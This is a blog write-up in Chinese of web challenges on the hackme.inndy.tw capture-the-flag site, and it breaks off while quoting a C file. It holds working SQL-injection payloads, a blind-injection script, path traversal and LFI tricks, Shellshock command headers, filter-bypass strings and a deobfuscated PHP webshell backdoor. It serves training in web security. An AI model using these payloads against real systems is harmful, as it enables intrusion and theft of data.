Sky's blog

hackme网站边做边记录

Word count: 5,600 / Reading time: 29 min
2018/01/07 Share

WEB

hide and seek

查看源代码即可

guestbook

简单注入
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,database(),4 -- 1
可以得到数据库名guestbook

1
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='guestbook' limit 0,1),4 -- 1

得到表名flag

1
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='flag' limit 1,1),4 -- 1

得到字段名flag

1
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select flag from flag limit 1,1),4 -- 1

即可拿到flag

LFI

随便点击出现:
https://hackme.inndy.tw/lfi/?page=pages/index
根据题目名可以知道是读文件
所以读:
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag
得到

1
Can you read the flag<?php require('config.php'); ?>?

再读
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config
即可

homepage

注意源代码151行

1
<script src="cute.js"></script>

跟进

1
https://hackme.inndy.tw/cute.js

发现是aaencode
解密得到二维码,扫描即可

ping

发现黑名单

1
2
3
4
5
6
7
8
9
10
$blacklist = [
'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
'passwd', 'shadow', 'root',
'z',
'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
'xargs', 'PATH',
'$0', 'proc',
'/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
];

发现没有过滤反引号
尝试反引号ls反引号
可以得到

1
2
ping: unknown host flag.php
index.php

发现sort没有过滤,并且利用?通配

1
反引号sort ????????反引号

即可

scoreboard

抓包发现http头里的x-flag有flag

login as admin 0

注意到过滤

1
2
3
4
5
6
7
8
9
10
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\\'", $str);
}

最后将单引号变成\\'
所以容易构造payload:

1
2
username = admin\' || 1=1#
password = 1

进入的是guest,所以admin应该是第二行
所以payload:

1
2
username = admin\' || 1=1 limit 1,1#
password = 1

得到flag

login as admin 0.1

admin\' union select 1,2,3,4#
发现2会回显
构造admin\' union select 1,database(),3,4#
数据库名login_as_admin0
故此

1
admin\' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),3,4#

发现表名h1dden_f14g

1
admin\' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x68316464656e5f66313467 limit 0,1),3,4#

发现字段名the_f14g

1
admin\' union select 1,(select the_f14g from h1dden_f14g limit 0,1),3,4#

拿到flag

Login as Admin 1

关注过滤

1
2
3
4
5
6
7
8
9
10
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, ' ') || strstr($strl, '1=1') || strstr($strl, "''") ||
strstr($strl, 'union select') || strstr($strl, 'select ')
) {
return '';
}
return str_replace("'", "\\'", $str);
}

多了个空格过滤,用/**/绕过即可,对于union select等过滤也十分不严谨,所以修改上题payload即可

1
admin\'/**/or/**/1/**/limit/**/0,1#

即可

login as admin 1.2

这次union select不会回显了,选择盲注
但是太卡了……我就没跑……大致脚本如下,测试数据库名正常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "https://hackme.inndy.tw/login1/index.php"
flag = ""
for i in range(1,100):
for j in range(33,127):
payload = "admin\\'/**/or/**/(ascii(substr((select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1),%s,1))=%s)/**/limit/**/0,1#"%(i,j)
data = {
"name":payload,
"password":"1"
}
r = requests.post(url=url,data=data)
if "You are not admin!" in r.content:
flag += chr(j)
print flag
break

login as admin 3

关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function load_user()
{
global $secret, $error;

if(empty($_COOKIE['user'])) {
return null;
}

$unserialized = json_decode(base64_decode($_COOKIE['user']), true);
$r = hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig'];

if(hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']) {
$error = 'Invalid session';
return false;
}

$data = json_decode($unserialized['data'], true);
return [
'name' => $data[0],
'admin' => $data[1]
];
}

发现存在弱比较:
我们只要构造出sig=0即可轻松绕过消息认证码检测:
hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']
所以构造如下:

1
2
3
4
5
6
7
8
9
function set_user()
{
$user = ['admin',true];
$data = json_encode($user);
$sig = 0;
$all = base64_encode(json_encode(['sig' => $sig, 'data' => $data]));
echo $all;
}
set_user();

所以cookie里添加user=eyJzaWciOjAsImRhdGEiOiJbXCJhZG1pblwiLHRydWVdIn0=刷新即可得到flag

login as admin 4

代码逻辑问题,用户名为admin直接可以成功
直接curl -d "name=admin" https://hackme.inndy.tw/login4/
即可获取flag

login as admin 6

发现关键代码

1
2
3
4
5
6
7
8
9
10
11
if(!empty($_POST['data'])) {
try {
$data = json_decode($_POST['data'], true);
} catch (Exception $e) {
$data = [];
}
extract($data);
if($users[$username] && strcmp($users[$username], $password) == 0) {
$user = $username;
}
}

其中可以变量覆盖:

1
extract($data);

所以我们构造:

1
data = {"users":{"admin":"sky"},"username":"admin","password":"sky"}

即可绕过,并且成功登陆

login as admin 7

0e开头的md5弱比较
选择:

1
2
name = admin
password = QNKCDZO

即可

dafuq-manager 1

将cookie中的show_hidden改为yes即可

dafuq-manager 2

典型的代码审计题目,题目要求我们以管理员身份登入即可获得flag
审计代码,首先从入口index.php开始

1
2
3
4
case "admin":
require "./core/fun_admin.php";
show_admin($GLOBALS["dir"]);
break;

跟进这里的show_admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function show_admin($dir) {
$pwd = (($GLOBALS["permissions"] & 2) == 2);
$admin = (($GLOBALS["permissions"] & 4) == 4);
if (!$GLOBALS["require_login"]) show_error($GLOBALS["error_msg"]["miscnofunc"]);
if (isset($GLOBALS['__GET']["action2"])) $action2 = $GLOBALS['__GET']["action2"];
elseif (isset($GLOBALS['__POST']["action2"])) $action2 = $GLOBALS['__POST']["action2"];
else $action2 = "";
switch ($action2) {
case "chpwd":
if (!$pwd) show_error($GLOBALS["error_msg"]["accessfunc"]);
changepwd($dir);
break;
case "adduser":
if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);
adduser($dir);
break;
case "edituser":
if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);
edituser($dir);
break;
case "rmuser":
if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);
removeuser($dir);
break;
default:
if (!$pwd && !$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);
admin($admin, $dir);
}
}

想成为admin必须满足

1
2
$pwd = (($GLOBALS["permissions"] & 2) == 2);
$admin = (($GLOBALS["permissions"] & 4) == 4);

于是我们搜索$GLOBALS["permissions"]的赋值
在/core/fun_users.php里发现

1
2
3
4
5
6
7
8
9
10
11
12
function activate_user($user, $pass) {
$data = find_user($user, $pass);
if ($data == NULL) return false;
$GLOBALS['__SESSION']["s_user"] = $data[0];
$GLOBALS['__SESSION']["s_pass"] = $data[1];
$GLOBALS["home_dir"] = $data[2];
$GLOBALS["home_url"] = $data[3];
$GLOBALS["show_hidden"] = $data[4];
$GLOBALS["no_access"] = $data[5];
$GLOBALS["permissions"] = $data[6];
return true;
}

可以发现赋值来源于$data[6]
$data = find_user($user, $pass)
所以我们跟进find_user()函数
还是在这个文件中

1
2
3
4
5
6
7
8
9
10
11
function &find_user($user, $pass) {
$cnt = count($GLOBALS["users"]);
for ($i = 0;$i < $cnt;++$i) {
if ($user == $GLOBALS["users"][$i][0]) {
if ($pass == NULL || ($pass == $GLOBALS["users"][$i][1] && $GLOBALS["users"][$i][7])) {
return $GLOBALS["users"][$i];
}
}
}
return NULL;
}

可以发现来源于$GLOBALS["users"]
我们找到这个变量的赋值
可以在/.config/.htusers.php中发现

1
2
3
4
<?php
$GLOBALS["users"] = array(
array("guest", "084e0343a0486ff05530df6c705c8bb4", "./data/guest", "https://game1.security.ntu.st/data/guest", 0, "^.ht", 1, 1),
);

然而源码泄露中,这个文件中只给出了guest的值,所以我们下面要做的是去读文件,得到admin的密码
首先查找读文件的函数:
/core/fun_down.php可以发现一处readfile()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function download_item($dir, $item) {
$item = basename($item);
if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);
if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
$abs_item = get_abs_item($dir, $item);
if (!file_in_web($abs_item) || stristr($abs_item, '.php') || stristr($abs_item, 'config')) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
$browser = id_browser();
header('Content-Type: ' . (($browser == 'IE' || $browser == 'OPERA') ? 'application/octetstream' : 'application/octet-stream'));
header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($abs_item));
if ($browser == 'IE') {
header('Content-Disposition: attachment; filename="' . $item . '"');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
} else {
header('Content-Disposition: attachment; filename="' . $item . '"');
header('Cache-Control: no-cache, must-revalidate');
header('Pragma: no-cache');
}
@readfile($abs_item);
exit;
}

我们看一下处理
关键行

1
if (!file_in_web($abs_item) || stristr($abs_item, '.php') || stristr($abs_item, 'config')) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);

这里对文件进行过滤,而我们要读的路径正是/.config/.htusers.php
所以这里的下载文件功能无法完成我们的目的
接着寻找
/core/fun_edit.php中发现端倪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function edit_file($dir, $item) {
if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);
if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
$fname = get_abs_item($dir, $item);
if (!file_in_web($fname)) show_error($GLOBALS["error_msg"]["accessfile"]);
if (isset($GLOBALS['__POST']["dosave"]) && $GLOBALS['__POST']["dosave"] == "yes") {
$item = basename(stripslashes($GLOBALS['__POST']["fname"]));
$fname2 = get_abs_item($dir, $item);
if (!isset($item) || $item == "") show_error($GLOBALS["error_msg"]["miscnoname"]);
if ($fname != $fname2 && @file_exists($fname2)) show_error($item . ": " . $GLOBALS["error_msg"]["itemdoesexist"]);
savefile($dir, $fname2);
$fname = $fname2;
}
$fp = @fopen($fname, "r");
if ($fp === false) show_error($item . ": " . $GLOBALS["error_msg"]["openfile"]);
$s_item = get_rel_item($dir, $item);
if (strlen($s_item) > 50) $s_item = "..." . substr($s_item, -47);
show_header($GLOBALS["messages"]["actedit"] . ": /" . $s_item); ?>

我们逐句分析:
第一个判断:

1
if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);

我们guest的$GLOBALS[“permissions”]是1,显然满足
第二个判断

1
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);

仅仅检测路径文件是否存在,这里不是安全防护,所以暂不用看
第三个判断

1
if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);

我们跟进get_show_item()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function get_show_item($dir, $item) {
if ($item == "." || $item == "..") return false;
if ($_COOKIE['help'] == 'me') {
$_COOKIE['help'] = null;
setcookie('help', '', time() - 9999999999);
echo '<script>alert("Very good. You know how to create cookie. How about tamper a cookie?")</script>';
}
if (empty($_COOKIE['show_hidden'])) {
setcookie('show_hidden', 'no', time() + 3600);
}
if (substr($item, 0, 1) == "." && $GLOBALS["show_hidden"] == false && $_COOKIE['show_hidden'] != 'yes') return false;
if ($GLOBALS["no_access"] != "" && @eregi($GLOBALS["no_access"], $item)) return false;
if ($GLOBALS["show_hidden"] == false) {
$dirs = explode("/", $dir);
foreach ($dirs as $i) if (substr($i, 0, 1) == ".") return false;
}
return true;
}

发现这里的防御十分不严谨,对$item的变量防护仅仅停留在

1
2
if ($item == "." || $item == "..") return false;
if (substr($item, 0, 1) == "." && $GLOBALS["show_hidden"] == false && $_COOKIE['show_hidden'] != 'yes') return false;

这样的绕过十分容易
构造:

1
item = /../../../../../etc/passwd

即可造成目录穿越读取任意文件
我们尝试:

1
2
https://dafuq-manager.hackme.inndy.tw/index.php?action=edit&item=
/../../../../../../var/www/webhdisk/.config/.htusers.php

发现文件读取成功

1
2
3
4
5
6
<?php
$GLOBALS["users"] = array(
array("adm1n15trat0r", "34af0d074b17f44d1bb939765b02776f", "./data", "https://dafuq-manager.hackme.inndy.tw/data", 1, "^.ht", 7, 1),
array("inndy", "fc5e038d38a57032085441e7fe7010b0", "./data/inndy", "https://dafuq-manager.hackme.inndy.tw/data/inndy", 0, "^.ht", 1, 1),
array("guest", "084e0343a0486ff05530df6c705c8bb4", "./data/guest", "https://dafuq-manager.hackme.inndy.tw/data/guest", 0, "^.ht", 1, 1),
);

此时我们拿到了管理员密码的md5,解md5

1
2
34af0d074b17f44d1bb939765b02776f
how do you turn this on

随即登录

1
2
adm1n15trat0r
how do you turn this on

即可拿到flag

dafuq-manager 3

这一问是让我们找到网站的命令执行问题,拿到shell
我们审计代码,在/core/fun_debug.php发现了问题
关键函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function do_debug() {
assert(strlen($GLOBALS['secret_key']) > 40);
$dir = $GLOBALS['__GET']['dir'];
if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
show_error('You are not hacky enough :(');
}
list($cmd, $hmac) = explode('.', $GLOBALS['__GET']['command'], 2);
$cmd = base64_decode($cmd);
$bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '`', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',);
foreach ($bad_things as $bad) {
if (stristr($cmd, $bad)) {
die('2bad');
}
}
if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) {
die(eval($cmd));
} else {
show_error('What does the fox say?');
}
}

我们逐个分析
这里需要我们绕过

1
2
3
if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
show_error('You are not hacky enough :(');
}

而我们知道strcmp的黑魔法,可以用数组绕过,例如dir[]=1
然后是cmd参数,需要我们的base64的命令,并且和hmac消息验证码拼接
这里代码中给出了生成的函数

1
2
3
4
function make_command($cmd) {
$hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]);
return sprintf('%s.%s', base64_encode($cmd), $hmac);
}

我们直接调用即可
然后关注到黑名单过滤

1
$bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '`', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',);

这里虽然存在一些过滤,但是我们可以用base64编码绕过
所以我的攻击脚本如下

1
2
3
4
5
6
7
8
<?php 

function make_command($cmd) {
$hmac = hash_hmac('sha256', $cmd, 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3');
return sprintf('%s.%s', base64_encode($cmd), $hmac);
}
echo make_command('$a=\'ass\';$b=\'ert\';$c=$a.$b;$c(base64_decode(\'c3lzdGVtKCcuL2ZsYWczL21lb3cgLi9mbGFnMy9mbGFnMycp\'));');
?>

这里容易探测到flag存在于当前目录的flag3文件夹下,但是直接读取无法读到
必须要用系统命令执行他这个文件夹下的c文件,而用这个base64绕过方法刚好可以轻松绕过,执行系统命令

wordpress 1

web-security-course-game2\wordpress\wp-content\plugins\core.php
发现问题

1
2
3
4
5
6
7
8
9
10
11
12
function print_f14g()
{
$h = 'm'.sprintf('%s%d','d',-4+9e0);
if($h($_GET['passw0rd']) === '5ada11fd9c69c78ea65c832dd7f9bbde') {
if(wp_get_user_ip() === '127.0.0.1') {
eval(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $h($_GET['passw0rd'].AUTH_KEY), base64_decode('zEFnGVANrtEUTMLVyBusu4pqpHjqhn3X+cCtepGKg89VgIi6KugA+hITeeKIpnQIQM8UZbUkRpuCe/d8Rf5HFQJSawpeHoUg5NtcGam0eeTw+1bnFPT3dcPNB8IekPBDyXTyV44s3yaYMUAXZWthWHEVDFfKSjfTpPmQkB8fp6Go/qytRtiP3LyYmofhOOOV8APh0Pv34VPjCtxcJUpqIw=='), MCRYPT_MODE_CBC, $h($_GET['passw0rd'].AUTH_SALT)));
} else {
die('</head><body><h1>Sorry, Only admin from localhost can get flag');
}
}
}
add_action('wp_head', 'print_f14g');

于是构造
https://wp.hackme.inndy.tw/?passw0rd=cat%20flag
访问发现

1
Sorry, Only admin from localhost can get flag

跟一下限制wp_get_user_ip()
发现

1
2
3
4
5
6
7
8
9
function wp_get_user_ip() {
$ip = $_SERVER['REMOTE_ADDR'];
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
return $ip;
}

可以用xff绕过,所以得到payload

1
curl -H "X-Forwarded-For=127.0.0.1" 'https://wp.hackme.inndy.tw/?passw0rd=cat flag'|grep flag

运行即可拿到flag

wordpress 2


1
wordpress\wp-content\themes\astrid\template-parts\content-search.php

找到可疑操作

1
<!-- debug:<?php var_dump($wp_query->post->{'post_'.(string)($_GET['debug']?:'type')}); ?> -->

又找到2013年10月的一篇文章为flag2,是有密码的,利用这个后门突破密码限制
直接访问

1
view-source:https://wp.hackme.inndy.tw/archives/date/2013/10?s=&debug=content

答案就在源代码里

webshell

查看源代码发现可疑代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php $cation = "St\x72\x5fr\x4ft\x313";
$e_obfus="b\x41Se\x364\x5f\x44e\x43ode";
$e_cod = "g\x5ainfl\x41t\x45" ; $sourc =
"St\x72\x72\x45v"; @eval ($sourc($e_cod(
$e_obfus($cation("KMSqn8VjTVKi9lgrcMtH3V
qwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmS
H4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3I
qTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsM
nk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx
/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gx
cLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltX
sF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00
TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYe
A8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHi
STW8OO9t13k2/7r+He8BfU")))));

解第一层得到:

1
2
3
4
5
6
7
8
9
10
11
12
@eval (StrrEv(gZinflAtE(
bASe64_DeCode(Str_rOt13("KMSqn8VjTVKi9lgrcMtH3V
qwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmS
H4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3I
qTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsM
nk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx
/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gx
cLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltX
sF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00
TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYe
A8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHi
STW8OO9t13k2/7r+He8BfU")))));

发现是gZinflAtE(bASe64_DeCode(''))形式的后门,这里直接输出

1
2
3
4
5
6
7
8
9
10
11
12
echo (StrrEv(gZinflAtE(
bASe64_DeCode(Str_rOt13("KMSqn8VjTVKi9lgrcMtH3V
qwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmS
H4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3I
qTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsM
nk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx
/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gx
cLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltX
sF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00
TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYe
A8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHi
STW8OO9t13k2/7r+He8BfU")))));

把eval换成echo即可
可以得到解密后文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function run()
{
if (isset($_GET['cmd']) && isset($_GET['sig'])) {
$cmd = hash('SHA512', $_SERVER['REMOTE_ADDR']) ^ (string) $_GET['cmd'];
$key = $_SERVER['HTTP_USER_AGENT'] . sha1($_SERVER['HTTP_HOST']);
$sig = hash_hmac('SHA512', $cmd, $key);
if ($sig === (string) $_GET['sig']) {
header('Content-Type: text/plain');
return !!system($cmd);
}
}
return false;
}
function fuck()
{
print str_repeat("\n", 4096);
readfile($_SERVER['SCRIPT_FILENAME']);
}
run() ?: fuck();

很简单,想要执行命令就要绕过
$sig === (string) $_GET['sig']
而这个的生成也非常容易,我们在服务器上放脚本

1
2
3
4
5
6
7
8
9
<?php
$cmd = hash('SHA512', $_SERVER['REMOTE_ADDR']) ^ (string)$_GET['sky'];
$true_cmd = $_GET['sky'];
$key = $_SERVER['HTTP_USER_AGENT'] . sha1('webshell.hackme.inndy.tw');
$sig = hash_hmac('SHA512', $true_cmd, $key);
echo urlencode($cmd);
echo '<br>';
echo $sig;
?>

然后用这个脚本生成payload即可
最后题目的flag用了隐藏文件,ls -al即可看见

1
2
3
4
5
6
7
8
9
total 32
drwxr-xr-x 2 root root 4096 Jan 19 07:30 .
drwxr-xr-x 6 root root 4096 Jan 19 07:30 ..
-rw-r--r-- 1 root root 40 Jan 11 19:33 .htflag
-rw-r--r-- 1 root root 13 Jan 11 19:28 flag
-rw-r--r-- 1 root root 612 Jan 19 07:23 index.nginx-debian.html
-rw-r--r-- 1 root root 603 Jan 19 07:30 index.php
-rw-r--r-- 1 root root 72 Jan 11 19:46 ip.php
-rw-r--r-- 1 root root 48 Jan 19 07:22 robots.txt

真的flag藏在了.htflag

command-executor

给出题目链接:

1
https://command-executor.hackme.inndy.tw/

个人认为这是一道非常好的题目,首先说一下考察点

1
2
3
4
5
6
1.文件包含读源码
2.代码分析结合CVE
3.CVE导致的命令执行
4.写入文件/反弹shell
5.思考c文件的解法
6.重定向获取flag

拿到题目后随便点一点:

1
2
3
https://command-executor.hackme.inndy.tw/index.php?func=ls
https://command-executor.hackme.inndy.tw/index.php?func=cmd
https://command-executor.hackme.inndy.tw/index.php?func=untar

然后在

发现可以遍历目录,但限制的很死,只能执行ls和env,但是此时发现了有趣的一点

1
2
3
4
5
-rw-r--r-- 1 root root   1163 Jan  9 11:05 cmd.php
-rw-r--r-- 1 root root 2201 Jan 9 11:32 index.php
-rw-r--r-- 1 root root 515 Jan 9 11:05 ls.php
-rw-r--r-- 1 root root 658 Jan 19 08:25 man.php
-rw-r--r-- 1 root root 588 Jan 9 11:05 untar.php

这里的ls,untar,cmd很可能是前面func参数包含进来的
随即想到试一试文件包含,看看可否读文件

1
https://command-executor.hackme.inndy.tw/index.php?func=php://filter/read=convert.base64-encode/resource=index

果不其然,可以拿到文件源码,这里给出最关键的index.php,其余的帮助并不大
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
$pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['cmd', 'Cmd Exec'],
['ls', 'List files'],
];

function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}

$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}

foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

$page = '';

if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
}

if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}

注意到一个很可疑的函数putenv()
结合env可以很快联想到2014年的一个重大漏洞:

1
2
CVE-2014-6271
破壳(ShellShock)漏洞

给出Freebuf的分析链接

1
http://www.freebuf.com/articles/system/45390.html

确定了漏洞,就是尝试可用exp的时候了,这时候可以容易google到
这样一篇文章:

1
https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php

其中重点的一段如下:

可以清楚看到这样一个payload:

1
wget --header="X-Exploit: () { :; }; echo Hacked" -q -O -  http://127.0.0.1/shock.php

并且和这个测试样本和我们题目中给出的代码十分相似:

1
2
3
4
5
foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

于是我们先去尝试一下适用性:

可以发现我们被waf拦截了:

1
\(\)\s*\{\s*:;\s*\}; detected! exit now.

回去分析index.php的waf过滤点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

可以看到如上一个黑名单,
我们的

1
X-Exploit: () { :; };

正是被这个黑名单禁止了,但是这样的waf存在极大隐患,我们只要加个空格就可以轻松绕过:

1
X-Exploit: () { : ; };

我们再次攻击一次试试:

1
wget --header="X-Exploit: () { : ; }; echo Hacked" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"


可以看到Hacked成功回显
于是我们开始执行命令,需要注意的是,shellshock执行命令,需要加上/bin/
比如cat命令要写成/bin/cat
直接cat是不能成功的
于是我们尝试读/etc/passwd

1
wget --header="X-Exploit: () { : ; }; /bin/cat /etc/passwd" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"


可以发现命令成功执行,所以下面我们的思路很清晰,找到flag并读取就行了
而之前提到,这个题目本身自带ls,所以可以轻松查目录,容易发现flag在根目录

1
2
3
4
5
https://command-executor.hackme.inndy.tw/index.php?func=ls&file=../../../../../../

-r-------- 1 flag root 37 Jan 9 11:05 flag
-rwsr-xr-x 1 flag root 9080 Jan 19 08:27 flag-reader
-rw-r--r-- 1 root root 653 Jan 9 11:05 flag-reader.c

我们尝试cat一下flag文件

1
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../flag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

此时又触发了waf
回显打出

1
\/flag detected! exit now.

我们依旧被上面那个黑名单给禁止了!
那么有没有办法绕过/flag呢?
这里给出2个思考路线:

1
2
1.shell拼接,比如a=/fl;b=ag;c=a+b这样(此处写的不严谨,有兴趣可以自己去研究一下)
2.通配符绕过

这里我选择第二点:

1
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

但这次并没有回显打出,回去查看文件权限

1
-r--------   1 flag root   37 Jan  9 11:05 flag

发现只有root才能读
这时就郁闷了,但是下面还有一个c写的flag-reader引起了我的关注,我们读一下他

1
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag-reader.c" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

打出回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random\n", 18);
}

setuid(1337);
seteuid(1337);
alarm(1);
write(1, &rnd, sizeof(rnd));
read(0, &val, sizeof(val));

if(memcmp(rnd, val, sizeof(rnd)) == 0) {
int fd = open(argv[1], O_RDONLY);
